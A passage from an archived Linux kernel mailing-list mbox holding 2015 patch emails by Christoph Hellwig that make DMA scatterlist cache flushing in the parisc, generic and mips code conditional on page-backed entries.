	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 12 09:10:30 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZPQBB-0006Mv-Bz
	for glk-linux-kernel-3@plane.gmane.org; Wed, 12 Aug 2015 09:10:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965452AbbHLHKP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 12 Aug 2015 03:10:15 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53422 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965302AbbHLHKK (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 12 Aug 2015 03:10:10 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQAl-0001wn-QG; Wed, 12 Aug 2015 07:10:04 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2018379 gmane.linux.kernel.cross-arch:28844 gmane.linux.ports.alpha:3285 gmane.linux.ports.ia64:25684 gmane.linux.kernel.metag:595 gmane.linux.ports.mips.general:49939 gmane.linux.ports.parisc:25911 gmane.linux.ports.ppc64.devel:116736 gmane.linux.ports.sparc:21390 gmane.linux.drivers.video-input-infrastructure:93934
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2018379>

Make all cache invalidation conditional on sg_has_page() and use
sg_phys to get the physical address directly.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/parisc/kernel/pci-dma.c | 29 ++++++++++++++++++-----------
 1 file changed, 18 insertions(+), 11 deletions(-)

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index b9402c9..6cad0e0 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -483,11 +483,13 @@ static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist, int n
 	BUG_ON(direction == DMA_NONE);
 
 	for_each_sg(sglist, sg, nents, i) {
-		unsigned long vaddr = (unsigned long)sg_virt(sg);
-
-		sg_dma_address(sg) = (dma_addr_t) virt_to_phys(vaddr);
+		sg_dma_address(sg) = sg_phys(sg);
 		sg_dma_len(sg) = sg->length;
-		flush_kernel_dcache_range(vaddr, sg->length);
+
+		if (sg_has_page(sg)) {
+			flush_kernel_dcache_range((unsigned long)sg_virt(sg),
+						  sg->length);
+		}
 	}
 	return nents;
 }
@@ -504,9 +506,10 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist, in
 
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
-	return;
+	for_each_sg(sglist, sg, nents, i) {
+		if (sg_has_page(sg))
+			flush_kernel_vmap_range(sg_virt(sg), sg->length);
+	}
 }
 
 static void pa11_dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle, unsigned long offset, size_t size, enum dma_data_direction direction)
@@ -530,8 +533,10 @@ static void pa11_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sgl
 
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
+	for_each_sg(sglist, sg, nents, i) {
+		if (sg_has_page(sg))
+			flush_kernel_vmap_range(sg_virt(sg), sg->length);
+	}
 }
 
 static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
@@ -541,8 +546,10 @@ static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *
 
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
+	for_each_sg(sglist, sg, nents, i) {
+		if (sg_has_page(sg))
+			flush_kernel_vmap_range(sg_virt(sg), sg->length);
+	}
 }
 
 struct hppa_dma_ops pcxl_dma_ops = {
-- 
1.9.1


From - Thu Nov 08 21:37:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 31/31] dma-mapping-common: skip kmemleak checks for page-less SG entries
Date: Wed, 12 Aug 2015 09:05:50 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <1439363150-8661-32-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363435 26787 80.91.229.3 (12 Aug 2015 07:10:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:10:35 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: sparclinux-owner@vger.kernel.org Wed Aug 12 09:10:32 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZPQBC-0006Mv-BO
	for lnx-sparclinux@plane.gmane.org; Wed, 12 Aug 2015 09:10:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965482AbbHLHKT (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 12 Aug 2015 03:10:19 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53454 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965451AbbHLHKQ (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Wed, 12 Aug 2015 03:10:16 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQAr-0002W6-IW; Wed, 12 Aug 2015 07:10:09 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21391 gmane.linux.kernel:2018380 gmane.linux.kernel.cross-arch:28845 gmane.linux.ports.alpha:3286 gmane.linux.ports.ia64:25685 gmane.linux.kernel.metag:596 gmane.linux.ports.mips.general:49940 gmane.linux.ports.parisc:25912 gmane.linux.ports.ppc64.devel:116737 gmane.linux.drivers.video-input-infrastructure:93935
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21391>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 include/asm-generic/dma-mapping-common.h | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/include/asm-generic/dma-mapping-common.h b/include/asm-generic/dma-mapping-common.h
index 940d5ec..afc3eaf 100644
--- a/include/asm-generic/dma-mapping-common.h
+++ b/include/asm-generic/dma-mapping-common.h
@@ -51,8 +51,10 @@ static inline int dma_map_sg_attrs(struct device *dev, struct scatterlist *sg,
 	int i, ents;
 	struct scatterlist *s;
 
-	for_each_sg(sg, s, nents, i)
-		kmemcheck_mark_initialized(sg_virt(s), s->length);
+	for_each_sg(sg, s, nents, i) {
+		if (sg_has_page(s))
+			kmemcheck_mark_initialized(sg_virt(s), s->length);
+	}
 	BUG_ON(!valid_dma_direction(dir));
 	ents = ops->map_sg(dev, sg, nents, dir, attrs);
 	BUG_ON(ents < 0);
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 27/31] mips: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:46 +0200
Lines: 322
Approved: news@gmane.org
Message-ID: <1439363150-8661-28-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363445 26922 80.91.229.3 (12 Aug 2015 07:10:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:10:45 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 12 09:10:29 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZPQBA-0006Mv-E8
	for glk-linux-kernel-3@plane.gmane.org; Wed, 12 Aug 2015 09:10:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965416AbbHLHKJ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 12 Aug 2015 03:10:09 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53380 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965302AbbHLHKF (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 12 Aug 2015 03:10:05 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQAf-0001uV-Hg; Wed, 12 Aug 2015 07:09:58 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2018381 gmane.linux.kernel.cross-arch:28846 gmane.linux.ports.alpha:3287 gmane.linux.ports.ia64:25686 gmane.linux.kernel.metag:597 gmane.linux.ports.mips.general:49941 gmane.linux.ports.parisc:25913 gmane.linux.ports.ppc64.devel:116738 gmane.linux.ports.sparc:21392 gmane.linux.drivers.video-input-infrastructure:93936
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2018381>

Make all cache invalidation conditional on sg_has_page() and use
sg_phys to get the physical address directly.  To do this consolidate
the two platform callouts using pages and virtual addresses into a
single one using a physical address.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/mips/bmips/dma.c                              |  9 ++------
 arch/mips/include/asm/mach-ath25/dma-coherence.h   | 10 ++-------
 arch/mips/include/asm/mach-bmips/dma-coherence.h   |  4 ++--
 .../include/asm/mach-cavium-octeon/dma-coherence.h | 11 ++--------
 arch/mips/include/asm/mach-generic/dma-coherence.h | 12 +++--------
 arch/mips/include/asm/mach-ip27/dma-coherence.h    | 16 +++-----------
 arch/mips/include/asm/mach-ip32/dma-coherence.h    | 19 +++-------------
 arch/mips/include/asm/mach-jazz/dma-coherence.h    | 11 +++-------
 .../include/asm/mach-loongson64/dma-coherence.h    | 16 +++-----------
 arch/mips/mm/dma-default.c                         | 25 ++++++++++++----------
 10 files changed, 37 insertions(+), 96 deletions(-)

diff --git a/arch/mips/bmips/dma.c b/arch/mips/bmips/dma.c
index 04790f4..13fc891 100644
--- a/arch/mips/bmips/dma.c
+++ b/arch/mips/bmips/dma.c
@@ -52,14 +52,9 @@ static dma_addr_t bmips_phys_to_dma(struct device *dev, phys_addr_t pa)
 	return pa;
 }
 
-dma_addr_t plat_map_dma_mem(struct device *dev, void *addr, size_t size)
+dma_addr_t plat_map_dma_mem(struct device *dev, phys_addr_t phys, size_t size)
 {
-	return bmips_phys_to_dma(dev, virt_to_phys(addr));
-}
-
-dma_addr_t plat_map_dma_mem_page(struct device *dev, struct page *page)
-{
-	return bmips_phys_to_dma(dev, page_to_phys(page));
+	return bmips_phys_to_dma(dev, phys);
 }
 
 unsigned long plat_dma_addr_to_phys(struct device *dev, dma_addr_t dma_addr)
diff --git a/arch/mips/include/asm/mach-ath25/dma-coherence.h b/arch/mips/include/asm/mach-ath25/dma-coherence.h
index d5defdd..4330de6 100644
--- a/arch/mips/include/asm/mach-ath25/dma-coherence.h
+++ b/arch/mips/include/asm/mach-ath25/dma-coherence.h
@@ -31,15 +31,9 @@ static inline dma_addr_t ath25_dev_offset(struct device *dev)
 }
 
 static inline dma_addr_t
-plat_map_dma_mem(struct device *dev, void *addr, size_t size)
+plat_map_dma_mem(struct device *dev, phys_addr_t phys, size_t size)
 {
-	return virt_to_phys(addr) + ath25_dev_offset(dev);
-}
-
-static inline dma_addr_t
-plat_map_dma_mem_page(struct device *dev, struct page *page)
-{
-	return page_to_phys(page) + ath25_dev_offset(dev);
+	return phys + ath25_dev_offset(dev);
 }
 
 static inline unsigned long
diff --git a/arch/mips/include/asm/mach-bmips/dma-coherence.h b/arch/mips/include/asm/mach-bmips/dma-coherence.h
index d29781f..1b9a7f4 100644
--- a/arch/mips/include/asm/mach-bmips/dma-coherence.h
+++ b/arch/mips/include/asm/mach-bmips/dma-coherence.h
@@ -21,8 +21,8 @@
 
 struct device;
 
-extern dma_addr_t plat_map_dma_mem(struct device *dev, void *addr, size_t size);
-extern dma_addr_t plat_map_dma_mem_page(struct device *dev, struct page *page);
+extern dma_addr_t plat_map_dma_mem(struct device *dev, phys_addr_t phys,
+		size_t size);
 extern unsigned long plat_dma_addr_to_phys(struct device *dev,
 	dma_addr_t dma_addr);
 
diff --git a/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h b/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
index 460042e..d0988c7 100644
--- a/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
+++ b/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
@@ -19,15 +19,8 @@ struct device;
 
 extern void octeon_pci_dma_init(void);
 
-static inline dma_addr_t plat_map_dma_mem(struct device *dev, void *addr,
-	size_t size)
-{
-	BUG();
-	return 0;
-}
-
-static inline dma_addr_t plat_map_dma_mem_page(struct device *dev,
-	struct page *page)
+static inline dma_addr_t plat_map_dma_mem(struct device *dev, phys_addr_t phys,
+		size_t size)
 {
 	BUG();
 	return 0;
diff --git a/arch/mips/include/asm/mach-generic/dma-coherence.h b/arch/mips/include/asm/mach-generic/dma-coherence.h
index 0f8a354..2dfb133 100644
--- a/arch/mips/include/asm/mach-generic/dma-coherence.h
+++ b/arch/mips/include/asm/mach-generic/dma-coherence.h
@@ -11,16 +11,10 @@
 
 struct device;
 
-static inline dma_addr_t plat_map_dma_mem(struct device *dev, void *addr,
-	size_t size)
+static inline dma_addr_t plat_map_dma_mem(struct device *dev, phys_addr_t phys,
+		size_t size)
 {
-	return virt_to_phys(addr);
-}
-
-static inline dma_addr_t plat_map_dma_mem_page(struct device *dev,
-	struct page *page)
-{
-	return page_to_phys(page);
+	return phys;
 }
 
 static inline unsigned long plat_dma_addr_to_phys(struct device *dev,
diff --git a/arch/mips/include/asm/mach-ip27/dma-coherence.h b/arch/mips/include/asm/mach-ip27/dma-coherence.h
index 1daa644..2578b9d 100644
--- a/arch/mips/include/asm/mach-ip27/dma-coherence.h
+++ b/arch/mips/include/asm/mach-ip27/dma-coherence.h
@@ -18,20 +18,10 @@
 
 struct device;
 
-static inline dma_addr_t plat_map_dma_mem(struct device *dev, void *addr,
-	size_t size)
+static inline dma_addr_t plat_map_dma_mem(struct device *dev, phys_addr_t phys,
+		size_t size)
 {
-	dma_addr_t pa = dev_to_baddr(dev, virt_to_phys(addr));
-
-	return pa;
-}
-
-static inline dma_addr_t plat_map_dma_mem_page(struct device *dev,
-	struct page *page)
-{
-	dma_addr_t pa = dev_to_baddr(dev, page_to_phys(page));
-
-	return pa;
+	return dev_to_baddr(dev, phys);
 }
 
 static inline unsigned long plat_dma_addr_to_phys(struct device *dev,
diff --git a/arch/mips/include/asm/mach-ip32/dma-coherence.h b/arch/mips/include/asm/mach-ip32/dma-coherence.h
index 0a0b0e2..a5e8d75 100644
--- a/arch/mips/include/asm/mach-ip32/dma-coherence.h
+++ b/arch/mips/include/asm/mach-ip32/dma-coherence.h
@@ -26,23 +26,10 @@ struct device;
 
 #define RAM_OFFSET_MASK 0x3fffffffUL
 
-static inline dma_addr_t plat_map_dma_mem(struct device *dev, void *addr,
-	size_t size)
+static inline dma_addr_t plat_map_dma_mem(struct device *dev, phys_addr_t phys,
+		size_t size)
 {
-	dma_addr_t pa = virt_to_phys(addr) & RAM_OFFSET_MASK;
-
-	if (dev == NULL)
-		pa += CRIME_HI_MEM_BASE;
-
-	return pa;
-}
-
-static inline dma_addr_t plat_map_dma_mem_page(struct device *dev,
-	struct page *page)
-{
-	dma_addr_t pa;
-
-	pa = page_to_phys(page) & RAM_OFFSET_MASK;
+	dma_addr_t pa = phys & RAM_OFFSET_MASK;
 
 	if (dev == NULL)
 		pa += CRIME_HI_MEM_BASE;
diff --git a/arch/mips/include/asm/mach-jazz/dma-coherence.h b/arch/mips/include/asm/mach-jazz/dma-coherence.h
index dc347c2..7739782 100644
--- a/arch/mips/include/asm/mach-jazz/dma-coherence.h
+++ b/arch/mips/include/asm/mach-jazz/dma-coherence.h
@@ -12,15 +12,10 @@
 
 struct device;
 
-static inline dma_addr_t plat_map_dma_mem(struct device *dev, void *addr, size_t size)
+static inline dma_addr_t plat_map_dma_mem(struct device *dev, phys_addr_t phys,
+		size_t size)
 {
-	return vdma_alloc(virt_to_phys(addr), size);
-}
-
-static inline dma_addr_t plat_map_dma_mem_page(struct device *dev,
-	struct page *page)
-{
-	return vdma_alloc(page_to_phys(page), PAGE_SIZE);
+	return vdma_alloc(phys, size);
 }
 
 static inline unsigned long plat_dma_addr_to_phys(struct device *dev,
diff --git a/arch/mips/include/asm/mach-loongson64/dma-coherence.h b/arch/mips/include/asm/mach-loongson64/dma-coherence.h
index 1602a9e..a75d4ba 100644
--- a/arch/mips/include/asm/mach-loongson64/dma-coherence.h
+++ b/arch/mips/include/asm/mach-loongson64/dma-coherence.h
@@ -19,23 +19,13 @@ struct device;
 
 extern dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
 extern phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
-static inline dma_addr_t plat_map_dma_mem(struct device *dev, void *addr,
+static inline dma_addr_t plat_map_dma_mem(struct device *dev, phys_addr_t phys,
 					  size_t size)
 {
 #ifdef CONFIG_CPU_LOONGSON3
-	return phys_to_dma(dev, virt_to_phys(addr));
+	return phys_to_dma(dev, phys);
 #else
-	return virt_to_phys(addr) | 0x80000000;
-#endif
-}
-
-static inline dma_addr_t plat_map_dma_mem_page(struct device *dev,
-					       struct page *page)
-{
-#ifdef CONFIG_CPU_LOONGSON3
-	return phys_to_dma(dev, page_to_phys(page));
-#else
-	return page_to_phys(page) | 0x80000000;
+	return phys | 0x80000000;
 #endif
 }
 
diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c
index eeaf024..409fdc8 100644
--- a/arch/mips/mm/dma-default.c
+++ b/arch/mips/mm/dma-default.c
@@ -123,7 +123,7 @@ void *dma_alloc_noncoherent(struct device *dev, size_t size,
 
 	if (ret != NULL) {
 		memset(ret, 0, size);
-		*dma_handle = plat_map_dma_mem(dev, ret, size);
+		*dma_handle = plat_map_dma_mem(dev, virt_to_phys(ret), size);
 	}
 
 	return ret;
@@ -153,7 +153,7 @@ static void *mips_dma_alloc_coherent(struct device *dev, size_t size,
 
 	ret = page_address(page);
 	memset(ret, 0, size);
-	*dma_handle = plat_map_dma_mem(dev, ret, size);
+	*dma_handle = plat_map_dma_mem(dev, virt_to_phys(ret), size);
 	if (!plat_device_is_coherent(dev)) {
 		dma_cache_wback_inv((unsigned long) ret, size);
 		if (!hw_coherentio)
@@ -269,14 +269,13 @@ static int mips_dma_map_sg(struct device *dev, struct scatterlist *sglist,
 	struct scatterlist *sg;
 
 	for_each_sg(sglist, sg, nents, i) {
-		if (!plat_device_is_coherent(dev))
+		if (sg_has_page(sg) && !plat_device_is_coherent(dev))
 			__dma_sync(sg_page(sg), sg->offset, sg->length,
 				   direction);
 #ifdef CONFIG_NEED_SG_DMA_LENGTH
 		sg->dma_length = sg->length;
 #endif
-		sg->dma_address = plat_map_dma_mem_page(dev, sg_page(sg)) +
-				  sg->offset;
+		sg->dma_address = plat_map_dma_mem(dev, sg_phys(sg), PAGE_SIZE);
 	}
 
 	return nents;
@@ -289,7 +288,7 @@ static dma_addr_t mips_dma_map_page(struct device *dev, struct page *page,
 	if (!plat_device_is_coherent(dev))
 		__dma_sync(page, offset, size, direction);
 
-	return plat_map_dma_mem_page(dev, page) + offset;
+	return plat_map_dma_mem(dev, page_to_phys(page), PAGE_SIZE) + offset;
 }
 
 static void mips_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
@@ -300,7 +299,7 @@ static void mips_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
 	struct scatterlist *sg;
 
 	for_each_sg(sglist, sg, nhwentries, i) {
-		if (!plat_device_is_coherent(dev) &&
+		if (sg_has_page(sg) && !plat_device_is_coherent(dev) &&
 		    direction != DMA_TO_DEVICE)
 			__dma_sync(sg_page(sg), sg->offset, sg->length,
 				   direction);
@@ -334,8 +333,10 @@ static void mips_dma_sync_sg_for_cpu(struct device *dev,
 
 	if (cpu_needs_post_dma_flush(dev)) {
 		for_each_sg(sglist, sg, nelems, i) {
-			__dma_sync(sg_page(sg), sg->offset, sg->length,
-				   direction);
+			if (sg_has_page(sg)) {
+				__dma_sync(sg_page(sg), sg->offset, sg->length,
+					   direction);
+			}
 		}
 	}
 	plat_post_dma_flush(dev);
@@ -350,8 +351,10 @@ static void mips_dma_sync_sg_for_device(struct device *dev,
 
 	if (!plat_device_is_coherent(dev)) {
 		for_each_sg(sglist, sg, nelems, i) {
-			__dma_sync(sg_page(sg), sg->offset, sg->length,
-				   direction);
+			if (sg_has_page(sg)) {
+				__dma_sync(sg_page(sg), sg->offset, sg->length,
+					   direction);
+			}
 		}
 	}
 }
-- 
1.9.1


From - Thu Nov 08 21:37:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 25/31] frv: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:44 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <1439363150-8661-26-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363446 26937 80.91.229.3 (12 Aug 2015 07:10:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:10:46 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 12 09:10:30 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZPQB9-0006Mv-QL
	for glk-linux-kernel-3@plane.gmane.org; Wed, 12 Aug 2015 09:10:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965380AbbHLHKD (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 12 Aug 2015 03:10:03 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53340 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965302AbbHLHJ5 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 12 Aug 2015 03:09:57 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQAZ-0001s6-UW; Wed, 12 Aug 2015 07:09:52 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
